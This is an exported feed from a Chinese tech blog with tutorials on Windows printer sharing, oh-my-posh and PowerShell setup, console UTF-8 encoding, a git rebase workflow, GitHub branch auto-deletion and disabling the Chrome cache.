        <content type="html"><![CDATA[<h3 id="Win10局域网机共享教程（内含详细图文）"><a href="#Win10局域网机共享教程（内含详细图文）" class="headerlink" title="Win10局域网机共享教程（内含详细图文）"></a>Win10局域网机共享教程（内含详细图文）</h3><p>本文将详细介绍Win7下如何实现同个局域网内共享机。经测试，Win10/Win7/XP之间均可正常连接。</p><p><strong>第一步：取消禁用Guest用户</strong></p><ol><li>点击【开始】按钮，在【计算机】上右键，选择【管理】，如下图所示：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630224804060.png" alt="image-20210630224804060"></p><ol start="2"><li>在弹出的【计算机管理】在本地用户和组列表中找到【Guest】用户，如下图所示：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630224841758.png" alt="image-20210630224841758"></p><ol start="3"><li>双击【Guest】，打开【Guest属性】窗口，确保【账户已禁用】选项没有被勾选，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630224906839.png" alt="image-20210630224906839"></p><p><strong>第二步：共享目标打印机</strong></p><ol><li>快捷键【win I】，选择【设备】，选择设备与打印机，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630224931869.png" alt="image-20210630224931869"></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225028057.png" alt="image-20210630225028057"></p><ol start="2"><li>在弹出的窗口中找到想共享的打印机（前提是打印机已正确连接，驱动已正确安装），在该打印机上右键，选择【打印机属性】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225057126.png" alt="image-20210630225057126"></p><ol start="3"><li>切换到【共享】选项卡，勾选【共享这台打印机】，并且设置一个共享名（请记住该共享名，后面的设置可能会用到），如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225123914.png" alt="image-20210630225123914"></p><p><strong>第三步：进行高级共享设置</strong></p><ol><li>在右下角系统托盘的网络连接图标上右键，选择【打开网络和共享中心】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225218318.png" alt="image-20210630225218318"></p><ol start="2"><li>单击列表中的【更改高级共享设置】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225246235.png" alt="image-20210630225246235"></p><ol start="3"><li>具体设置可参考下图，其中的关键选项已经用红圈标示，设置完成后不要忘记保存修改。</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225306913.png" alt="image-20210630225306913"></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225334666.png" alt="image-20210630225334666"></p><p>注意：如果是工作或专用网络，具体设置和上面的情况类似，相应地应该设置选项，如下图：　</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225354701.png" alt="image-20210630225354701"></p><p><strong>第四步：设置工作组</strong></p><p>　　在添加目标打印机之前，首先要确定局域网内的计算机是否都处于一个工作组，具体过程如下：</p><ol><li>点击【开始】按钮，在【计算机】上右键，选择【属性】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225414293.png" alt="image-20210630225414293"></p><ol start="2"><li>在弹出的窗口中找到工作组，如果计算机的工作组设置不一致，请点击【更改设置】；如果一致可以直接退出，跳到第五步。</li></ol><p>　　注意：请记住【计算机名】，后面的设置会用到。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225652231.png" alt="image-20210630225652231"></p><p><strong>win10更新后在这里</strong></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225606238.png" alt="image-20210630225606238"></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225638892.png" alt="image-20210630225638892"></p><ol start="3"><li>如果处于不同的工作组，可以在此窗口中进行设置：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225821540.png" alt="image-20210630225821540"></p><p>注意：此设置要在重启后才能生效，所以在设置完成后不要忘记重启一下计算机，使设置生效。</p><p><strong>第五步：在其他计算机上添加目标打印机</strong></p><p>　　注意：此步操作是在局域网内的其他需要共享打印机的计算机上进行的。此步操作在Win7和XP系统中的过程是类似的，本文以Win10为例进行介绍。</p><p>　　添加的方法有多种，在此为小编只介绍两种。</p><p>　　首先，无论使用哪种方法，都应先进入【控制面板】{（Win X） P}，打开【设备和打印机】窗口，并点击【添加打印机】，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225847013.png" alt="image-20210630225847013"></p><p>系统会自动搜索可用的打印机。</p><p>　　如果前面的几步设置都正确的话，那么只要耐心一点等待，一般系统都能找到，接下来只需跟着提示一步步操作就行了。</p><p>　　原谅小编机器也没找到…可直接点击【我所需的打印机未列出】，然后点击【下一步】，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225911685.png" alt="image-20210630225911685"></p><p>　接下来的设置就有多种方法了。</p><p>　　第一种方法：</p><p>　　1. 选择【按名称选择共享打印机】，点击【下一步】，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225928590.png" alt="image-20210630225928590"></p><ol start="2"><li>找到连接着打印机的计算机，点击【选择】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630225947497.png" alt="image-20210630225947497"></p><ol start="3"><li>选择目标机器（打印机名就是在第二步中设置的名称），点击【选择】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230005463.png" alt="image-20210630230005463"></p><p>接下来的操作比较简单，系统会自动找到并把该打印机的驱动安装好。至此，打印机已成功添加。</p><p>　　<strong>第二种方法：</strong></p><p>　　1.  在【添加打印机】窗口选择【按名称选择共享打印机】，直接输入“\计算机名\打印机名”（计算机名和打印机在上文中均有提及，不清楚的朋友往上翻）。如果前面的设置正确的话，当还输入完系统就会给出提示（如下图）。</p><p>　　接着点击【下一步】。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230023632.png" alt="image-20210630230023632"></p><p>注意：如果此步操作中系统没有自动给出提示，那么很可能直接点击【下一步】会无法找到目标打印机，此时我们可以把“计算机名”用“IP”来替换，如下：</p><p>　　例如小编主机IP为192.168.21.170，那么则应输入“\192.168.21.170\Sharp MX-M350U PCL 6”。查看系统IP的方法如下：</p><p>1.1 系统托盘【网络】图标上右键，选择【打开网络和共享中心】，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230051514.png" alt="image-20210630230051514"></p><p>1.2 在【网络和共享中心】找到【本地连接】，单击，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230108796.png" alt="image-20210630230108796"></p><p>1.3 在弹出的【本地连接 状态】窗口中点击【详细信息】，IPv4 地址就是本机的IP地址。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230125452.png" alt="image-20210630230125452"></p><p>当然你也可以直接通过快捷键“win R—&gt;cmd—&gt;ipconfig/all”来查看。</p><ol start="2"><li>接下来继续前面的步骤，和第一种方法一样，系统会找到该设备并安装好驱动，只需耐性等待即可（如下图）。</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230147231.png" alt="image-20210630230147231"></p><ol start="3"><li>接着系统会给出提示，告诉用户打印机已成功添加，直接点击【下一步】，如下图：</li></ol><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230205106.png" alt="image-20210630230205106"></p><ol start="4"><li>至此，打印机已添加完毕，如有需要用户可点击【打印测试页】，测试一下打机是否能正常工作，也可以直接点击【完成】退出此窗口，如下图：<img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230225195.png" alt="image-20210630230225195"></li></ol><p>成功添加后，在【控制面板】的【设备和打印机】窗口中，可以看到新添加的打印机，如下图：</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630230301813.png" alt="image-20210630230301813"></p><p>至此，整个过程均已完成，没介绍的其他方法（使用TCP/IP地址或主机名添加打印机）也比较简单，过程类似，这里不想赘述。</p><p>　　如果有朋友在第四步的设置中无法成功，那么很有可能是防护软件的问题，可对防护软件进行相应的设置或把防护软件关闭后再尝试添加。</p><p>　　最后，希望本文对壳粉们有所帮助。</p><p>　　PS：有不明白或遇到问题的朋友可以给我留言，反正小编也不会回复你。</p>]]></content>
      
      
      <categories>
          
          <category> 打印机 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Windows10安装Windows Terminal + oh-my-posh</title>
      <link href="/2021/06/26/windows10-an-zhuang-windows-terminal-omyzsh/"/>
      <url>/2021/06/26/windows10-an-zhuang-windows-terminal-omyzsh/</url>
      
        <content type="html"><![CDATA[<h1 id="Windows10安装Windows-Terminal-oh-my-posh"><a href="#Windows10安装Windows-Terminal-oh-my-posh" class="headerlink" title="Windows10安装Windows Terminal + oh-my-posh"></a>Windows10安装Windows Terminal + oh-my-posh</h1><p>各位 Windows 开发者，是不是很羡慕他们 Linux 和 mac 用户的 terminal 在配置过 oh-my-zsh 之后变得非常漂亮？现在不用羡慕了，因为你的 Powershell 也可以变得非常漂亮</p><h3 id="安装步骤"><a href="#安装步骤" class="headerlink" title="安装步骤"></a>安装步骤</h3><h4 id="1-步骤一"><a href="#1-步骤一" class="headerlink" title="1. 步骤一"></a>1. 步骤一</h4><p>首先得为 Powershell 安装必要的插件，安装这些插件需要管理员权限，所以别忘了以管理员身份启动 Powershell。</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 为当前用户安装 posh-git</span></span><br><span class="line"><span class="built_in">Install-Module</span> posh<span class="literal">-git</span> <span class="literal">-Scope</span> CurrentUser</span><br><span class="line"><span class="comment"># 为当前用户安装 oh-my-posh</span></span><br><span class="line"><span class="built_in">Install-Module</span> <span class="built_in">oh</span><span class="literal">-my-posh</span> <span class="literal">-Scope</span> CurrentUser</span><br></pre></td></tr></table></figure><h4 id="2-添加配置文件"><a href="#2-添加配置文件" class="headerlink" title="2.添加配置文件"></a>2.添加配置文件</h4><p>然后打开PowerShell配置文件，这个文件你可以通过<code>notepad $PROFILE</code>命令打开编辑，当然<code>notepad</code>也可以换成你自己常用的文本编辑器。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210626111556535.png" alt="image-20210626111556535"></p><p>如果没有可以<strong>拷贝下面的内容 并且 更改文件名</strong>为<code>Microsoft.PowerShell_profile.ps1</code></p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Import-Module posh-git # 引入 posh-git</span><br><span class="line">Import-Module oh-my-posh # 引入 oh-my-posh</span><br><span class="line">Set-PoshPrompt -Theme Paradox # 设置主题为 Paradox</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">Set-PSReadLineOption -PredictionSource History <span class="comment"># 设置预测文本来源为历史记录</span></span></span><br><span class="line"> </span><br><span class="line">Set-PSReadlineKeyHandler -Chord Tab -Function Complete # 设置 Tab 键补全</span><br><span class="line">Set-PSReadLineKeyHandler -Chord Ctrl+d -Function MenuComplete # 设置 Ctrl+d 为菜单补全和 Intellisense</span><br><span class="line">Set-PSReadLineKeyHandler -Chord Ctrl+z -Function Undo # 设置 Ctrl+z 为撤销</span><br><span class="line">Set-PSReadLineKeyHandler -Chord Ctrl+u -Function RevertLine # 设置 Ctrl+u 为重置行</span><br><span class="line">Set-PSReadLineKeyHandler -Chord UpArrow -Function HistorySearchBackward # 设置向上键为后向搜索历史记录</span><br><span class="line">Set-PSReadLineKeyHandler -Chord DownArrow -Function HistorySearchForward # 设置向下键为前向搜索历史纪录</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Chocolatey profile</span></span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">ChocolateyProfile = <span class="string">&quot;<span class="variable">$env</span>:ChocolateyInstall\helpers\chocolateyProfile.psm1&quot;</span></span></span><br><span class="line">if (Test-Path($ChocolateyProfile)) &#123;</span><br><span class="line">  Import-Module &quot;$ChocolateyProfile&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中快捷键的设置可以根据自己需要随意配置，具体文档看这 <a href="https://docs.microsoft.com/en-us/powershell/module/psreadline/?view=powershell-7.1">PSReadLine</a></p><p>然后关闭powershell再次重新打开</p><h4 id="3-安装字体"><a href="#3-安装字体" class="headerlink" title="3.安装字体"></a>3.安装字体</h4><p>oh-my-posh 和 oh-my-zsh 一样，需要一套带各种图标的等宽字体才能正常的显示，所以我们现在该去安装字体了。</p><p>对于字体，你可以有以下几种选择方案：</p><ul><li>直接按教程来，使用<code>Cascadia Code PL</code>字体，字体可以在<a href="https://github.com/microsoft/cascadia-code/releases">这里</a>下载</li><li>或者在 <a href="https://www.nerdfonts.com/">Nerd Fonts</a> 这个网站中下载字体，这个网站的字体几乎都是为了开发定制的</li></ul><p>安装好之后右键 Powershell 的菜单栏，打开<code>属性 -&gt; 字体</code>，把字体设置为上面安装的字体之后就可以了。</p><h2 id="安装-Windows-Terminal"><a href="#安装-Windows-Terminal" class="headerlink" title="安装 Windows Terminal"></a>安装 Windows Terminal</h2><p>巨硬新款终端，帅气又漂亮，安装也非常简单，打开 <a href="https://www.microsoft.com/zh-cn/p/windows-terminal/9n0dx20hk701?activetab=pivot:overviewtab">Microsoft Store</a> 直接搜索 Windows Terminal 然后安装就行了，至于 Windows Terminal 本身的配置的话，截至本文发布时间，已经可以支持界面化设置，不用再直接修改配置文件了，所以对于设置就不过多赘述了。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210626111803571.png" alt="image-20210626111803571"></p><h4 id="4-可能会出现的情况"><a href="#4-可能会出现的情况" class="headerlink" title="4.可能会出现的情况"></a>4.可能会出现的情况</h4><p>powershell中文乱码<img src="C:%5CUsers%5C58387%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210626112340986.png" alt="image-20210626112340986"></p><p>解决方案</p><p>cmd 控制台默认编码，一般是简体中文默认的GBK，如果出现中文乱码，一般改为UTF-8可解决。</p><h5 id="打开-cmd-控制台窗口"><a href="#打开-cmd-控制台窗口" class="headerlink" title="打开 cmd 控制台窗口"></a>打开 cmd 控制台窗口</h5><p>win（窗口键，在Ctrl与Alt之间）+R，输入 cmd，回车，这样操作会打开 cmd 控制台窗口。</p><h5 id="检查当前的编码"><a href="#检查当前的编码" class="headerlink" title="检查当前的编码"></a>检查当前的编码</h5><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">C:\Users\AndyChen&gt;chcp</span><br><span class="line">Active code page: 936</span><br></pre></td></tr></table></figure><p>显示当家的编码格式为 936。</p><h5 id="常用的编码及对应的码值-10进制"><a href="#常用的编码及对应的码值-10进制" class="headerlink" title="常用的编码及对应的码值(10进制)"></a>常用的编码及对应的码值(10进制)</h5><table><thead><tr><th align="left">十进制码值</th><th align="left">对应编码名称</th></tr></thead><tbody><tr><td align="left">950</td><td align="left">繁体中文</td></tr><tr><td align="left">65001</td><td align="left">Unicode (UTF-8)</td></tr><tr><td align="left">936</td><td align="left">简体中文默认的GBK</td></tr><tr><td align="left">437</td><td align="left">MS-DOS 美国英语</td></tr></tbody></table><h5 id="测试中文显示"><a href="#测试中文显示" class="headerlink" title="测试中文显示"></a>测试中文显示</h5><p>将以下代码保存为一个批处理文件，如 test.bat，或者 test.cmd，双击运行</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@echo off</span><br><span class="line">echo test chinese character view  测试中文字符显示</span><br><span class="line">pause</span><br></pre></td></tr></table></figure><p>我的测试如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">test chinese character view  娴嬭瘯涓枃瀛楃鏄剧ず</span><br><span class="line">Press any key to continue . . .</span><br></pre></td></tr></table></figure><p>当为936时，中文显示乱码。</p><h5 id="修改控制台CMD编码格式为UTF-8"><a href="#修改控制台CMD编码格式为UTF-8" class="headerlink" title="修改控制台CMD编码格式为UTF-8"></a>修改控制台CMD编码格式为UTF-8</h5><h5 id="临时修改为-UTF-8"><a href="#临时修改为-UTF-8" class="headerlink" title="临时修改为 UTF-8"></a>临时修改为 UTF-8</h5><p>执行 <code>chcp 65001</code></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">C:\Users\AndyChen&gt;chcp 65001</span><br><span class="line">Active code page: 65001</span><br></pre></td></tr></table></figure><p>这种方式在关闭 cmd 之后会自动失效，下次再打开，还是会变回默认的 936。</p><h5 id="永久修改方法一"><a href="#永久修改方法一" class="headerlink" title="永久修改方法一"></a>永久修改方法一</h5><ol><li><p>win+R 或者点击开始菜单，找到运行，在运行输入框里面输入</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">regedit</span><br></pre></td></tr></table></figure><p>，回车，会打开注册码编辑窗口，在地址栏输入：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Computer\HKEY_CURRENT_USER\Console\%SystemRoot%_System32_cmd.exe</span><br></pre></td></tr></table></figure><p>，回车。</p><p><img src="https://www.lovesofttech.com/img/general/cmd-chinese-character-01.png" alt="img"></p></li><li><p>双击</p></li></ol>   <figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">CodePage</span><br></pre></td></tr></table></figure><p>   然后先择十进制，改为65001。</p><p>   <img src="https://www.lovesofttech.com/img/general/cmd-chinese-character.png" alt="img"></p><ol start="3"><li>同理，可以修改 PowerShell 的默认编码，位置：<code>Computer\HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe</code>，如果没有 <code>CodePage</code>，则在该项下新建一个 DWORD（32位值），命名为<code>CodePage</code>，值设为<code>65001</code></li></ol><p>重启 cmd/PowerShell 后生效。</p><h5 id="永久修改方法二"><a href="#永久修改方法二" class="headerlink" title="永久修改方法二"></a>永久修改方法二</h5><p>创建文本文件 characterSet.reg，内容如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Console\%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe]</span><br><span class="line">&quot;CodePage&quot;=dword:0000fde9</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe]</span><br><span class="line">&quot;CodePage&quot;=dword:0000fde9</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Console\%SystemRoot%_System32_cmd.exe]</span><br><span class="line">&quot;CodePage&quot;=dword:0000fde9</span><br></pre></td></tr></table></figure><p>双击运行。</p><h5 id="再次测试中文显示"><a href="#再次测试中文显示" class="headerlink" title="再次测试中文显示"></a>再次测试中文显示</h5><p>运行之前的测试脚本，显示如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">test chinese character view  测试中文字符显示</span><br><span class="line">Press any key to continue . . .</span><br></pre></td></tr></table></figure><p>能够正常显示，说明设置成功。</p>]]></content>
      
      
      <categories>
          
          <category> oh-my-posh </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Windows，oh-my-posh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>git操作流程</title>
      <link href="/2021/06/01/git-cao-zuo-liu-cheng/"/>
      <url>/2021/06/01/git-cao-zuo-liu-cheng/</url>
      
        <content type="html"><![CDATA[<p>先学一下git命令的含义,判断什么情况下使用</p><blockquote><p>前置条件已安装好git环境,并有远程仓库</p></blockquote><ol><li><p>先拉取指定远程仓库别人的提交<code>git fetch teamds</code></p></li><li><p>合并<code>git rebase teamds/main</code></p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723140007775.png" alt="image-20210723140007775" style="zoom:67%;" /><ul><li><p>出现冲突,按照提示进入产生冲突的文件中,手动判断并解决冲突</p><blockquote><p>当 rebase 发生冲突时，git 会停止 rebase 并让你去解决冲突，<strong>解决完之后不能直接 commit</strong>，<strong>而是应该用 continue 参数继续执行 rebase</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 解决冲突之后</span><br><span class="line"># 如果是合并代码时产生的冲突，需要把修改的文件放入暂存区</span><br><span class="line">git add &lt;冲突的文件&gt;</span><br><span class="line">git rebase --continue</span><br><span class="line"># or</span><br><span class="line"># 不解决冲突，还原回 rebase 之前的状态</span><br><span class="line">git rebase --abort</span><br></pre></td></tr></table></figure></blockquote></li></ul></li><li><p>查看当前git所管理的文档的状态<code>git status</code>   </p><ul><li><p>当工作树清除时 ,此时可以提交<code>git push</code>操作，工作树干净的时候没有红绿颜色。</p><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723121532675.png" alt="image-20210723121532675"></p></li></ul></li><li><p>将所有的变更提交到git本地仓库的暂存区<code>git add -A</code><br>如图所示<img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723123230945.png" alt="image-20210723123230945"></p></li><li><p>将添加到暂存区的内容提交<code>git commit -m &quot;docs:提交723log&quot;</code>,</p><blockquote><p>​    git commit 主要是将暂存区里的改动给提交到本地的版本库。每次使用git commit 命令我们都会在本地版本库生成一个40位的哈希值，这个哈希值也叫commit-id，<br>​    commit-id在版本回退的时候是非常有用的，它相当于一个快照,可以在未来的任何时候通过与git reset的组合命令回到这里.</p></blockquote><ul><li><p>提交的内容添加一段描述信息<code>-m &quot;docs:提交723log&quot;</code> </p></li><li><p>仅有一个commit提交的情况,可以直接<code>git push &lt;仓库源别名&gt;/&lt;分支名&gt;</code><br><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723123617169.png" alt="image-20210723123617169"></p></li><li><p>如果本地有多个<code>commit</code>提交一定要在本地合并,</p><ul><li><p>查看远程和本地的log<code>git log --oneline --decorate --graph --all</code> <img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723132026382.png" alt="image-20210723132026382"></p></li><li><p>退出查看log模式,在底部输入字母<code>q</code><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723132312106.png" alt="image-20210723132312106"></p></li><li><p>合并多个commit<code>git rebase -i HEAD~3</code>,看上面的log信息提示有3个commit,那么后面<code>HEAD~</code>的数字就是3,依次类推<img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723132906415.png" alt="image-20210723132906415"><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723132935765.png" alt="image-20210723132935765"></p></li><li><p>输入字母<code>i</code>,修改内容<img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723133110326.png" alt="image-20210723133110326"></p></li><li><p>合并多个commit操作以及保存退出输入<code>:wq</code><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723133625872.png" alt="image-20210723133625872"></p></li><li><p>合并的提示信息,输出合并后的描述信息,退出并保存<code>:wq</code><img src="C:%5CUsers%5C58387%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210723133756341.png" alt="image-20210723133756341"></p></li><li><p>再次查看log输入<code>git log --oneline --decorate --graph --all</code><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723134928321.png" alt="image-20210723134928321"></p></li></ul></li></ul></li></ol><p>6.将提交的版本推送到远程仓库<code>git push forkds le</code></p><blockquote><p><code>git push forkds le</code>中的forkds是仓库的别名,le是仓库的分支,</p></blockquote><p><img src="https://ali.frist-art.cn/wx/tianyan/photo/image-20210723135444133.png" alt="image-20210723135444133"></p><h3 id="简约的操作流程"><a href="#简约的操作流程" class="headerlink" title="简约的操作流程"></a>简约的操作流程</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">0.查看git状态</span><br><span class="line">git status</span><br><span class="line">    如果本地有修改跳到第1步，</span><br><span class="line">    如果本地没有任何更改跳到第4步做到第6步。</span><br><span class="line">1.添加暂存区</span><br><span class="line">git add -A</span><br><span class="line">2.提交版本</span><br><span class="line">git commit -m &quot;docs:99&quot;</span><br><span class="line">3.查看log</span><br><span class="line">git log --oneline --decorate --graph --all</span><br><span class="line">自行判断是否存在多个commit提交,多个需要合并</span><br><span class="line">git rebase -i HEAD~&lt;合并的提交数量&gt;</span><br><span class="line">详情参考上面的第5条步骤中多个commit的情况</span><br><span class="line">4.拉取远程</span><br><span class="line">git fetch teamds</span><br><span class="line">5.合并</span><br><span class="line">git rebase teamds/main</span><br><span class="line">&gt; 出现冲突时当 rebase 发生冲突时，git 会停止 rebase 并让你去解决冲突，解决完之后不能直接 commit，而是应该用 continue 参数继续执行 rebase</span><br><span class="line">&gt; 解决冲突之后</span><br><span class="line">  如果是合并代码时产生的冲突，需要把修改的文件放入暂存区</span><br><span class="line">      git add &lt;冲突的文件&gt;</span><br><span class="line">      git rebase --continue</span><br><span class="line">      </span><br><span class="line">6.查看状态</span><br><span class="line">git status</span><br><span class="line">7.推送</span><br><span class="line">git push forkds/99 -f</span><br><span class="line">8.发起PR--不需要99操作,99推送完在群里讲一下,茂宏和兔兔看到会合并,合并完后按照完整流程步骤走</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Git </tag>
            
            <tag> 编辑器 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GitHub PR 合并后自动删除相应的分支</title>
      <link href="/2021/05/26/github-pr-he-bing-hou-zi-dong-shan-chu-xiang-ying-de-fen-zhi/"/>
      <url>/2021/05/26/github-pr-he-bing-hou-zi-dong-shan-chu-xiang-ying-de-fen-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="GitHub-PR-合并后自动删除相应的分支"><a href="#GitHub-PR-合并后自动删除相应的分支" class="headerlink" title="GitHub PR 合并后自动删除相应的分支"></a>GitHub PR 合并后自动删除相应的分支</h1><p>GitHub 默认不会删除和 PR 关连的 remote 分支，久而久之，随着 PR 的数量的增加，remote 分支也越来越多。合并后的 PR 相关的修改内容在 GitHub 面板里能够查看到，所以即使删除了和 PR 相关的分支也没有太大影响，但是这样对整个工作流来说就增加了一步额外的操作。</p><p>有两种手动删除 GitHub remote 分支的方式：</p><ol><li><p>GitHub branches 页面可以删除 remote 分支，删除后 local 的 remote branch 缓存需要手动清理一下</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git remote prune &lt;remote-name&gt;</span><br></pre></td></tr></table></figure></li><li><p>命令行删除 remote 分支</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git push origin :&lt;branch-name&gt;</span><br></pre></td></tr></table></figure><p>如果需要清理 local 的 remote branch 缓存，同上</p><h2 id="自动删除-remote-分支"><a href="#自动删除-remote-分支" class="headerlink" title="自动删除 remote 分支"></a>自动删除 remote 分支</h2><p>拥有仓库管理员权限的用户可以配置 PR 合并后自动删除相应的分支。</p><ol><li>打开仓库主页面</li><li>打开 <strong>Settings</strong></li><li>在 <strong>Merge button</strong> 下面，勾选 <strong>Automatically delete head branches</strong></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://help.github.com/en/github/administering-a-repository/managing-the-automatic-deletion-of-branches">Managing the automatic deletion of branches</a>, GitHub</li></ul></li></ol>]]></content>
      
      
      <categories>
          
          <category> git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> git，github </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>禁用Chrome缓存功能</title>
      <link href="/2021/05/25/jin-yong-chrome-huan-cun-gong-neng/"/>
      <url>/2021/05/25/jin-yong-chrome-huan-cun-gong-neng/</url>
      
        <content type="html"><![CDATA[<h3 id="如何禁用Chrome-缓存功能"><a href="#如何禁用Chrome-缓存功能" class="headerlink" title="如何禁用Chrome 缓存功能"></a>如何禁用Chrome 缓存功能</h3><p>一般，禁止Chrome浏览器的缓存功能有几种方式。</p><ol><li><p>使用隐身模式Shift + Control + N. 这种方法只能在打开的页面上消除之前缓存的影响，对于打开隐身模式之后做的任何更改都无法刷新缓存，因此也不甚实用。<br><img src="https://upyun.hanlele.cn/img/win11/1650879612192.png" alt="1650879612192"></p></li><li><p>在DevTool (Shift + Control + I) 中Disable Cache. 这种方法基本能够做到完全禁止缓存，然而缺点是必须要将开发模式一直打开，占用屏幕空间。而且，每打开一个标签页都需要再进行一番操作，相当不便利。<br><img src="https://upyun.hanlele.cn/img/win11/image-20220425181752578.png" alt="image-20220425181752578"></p></li><li><p>更改Chrome 属性,右键浏览器,悬着属性在目标栏中加上 <code>–-disk-cache-size=1</code>  <strong>切记前面有空格</strong></p></li><li><p>使用插件的方式</p><blockquote><p>今天我们发现了这样一款插件，可以 完美实现这一功能。插件名为Classic Cache Killer, 可以一键开启或者关闭缓存。插件的下载链接如下：<a href="https://chrome.google.com/webstore/detail/classic-cache-killer/kkmknnnjliniefekpicbaaobdnjjikfp">https://chrome.google.com/webstore/detail/classic-cache-killer/kkmknnnjliniefekpicbaaobdnjjikfp</a></p></blockquote><p>安装插件完成浏览器又上方会有一个小图标,点击就会开关.非常方便….<br><img src="https://upyun.hanlele.cn/img/win11/image-20220425182227252.png" alt=""></p></li></ol>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> web </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Vue和React的区别</title>
      <link href="/2021/05/24/vue-he-react-de-qu-bie/"/>
      <url>/2021/05/24/vue-he-react-de-qu-bie/</url>
      
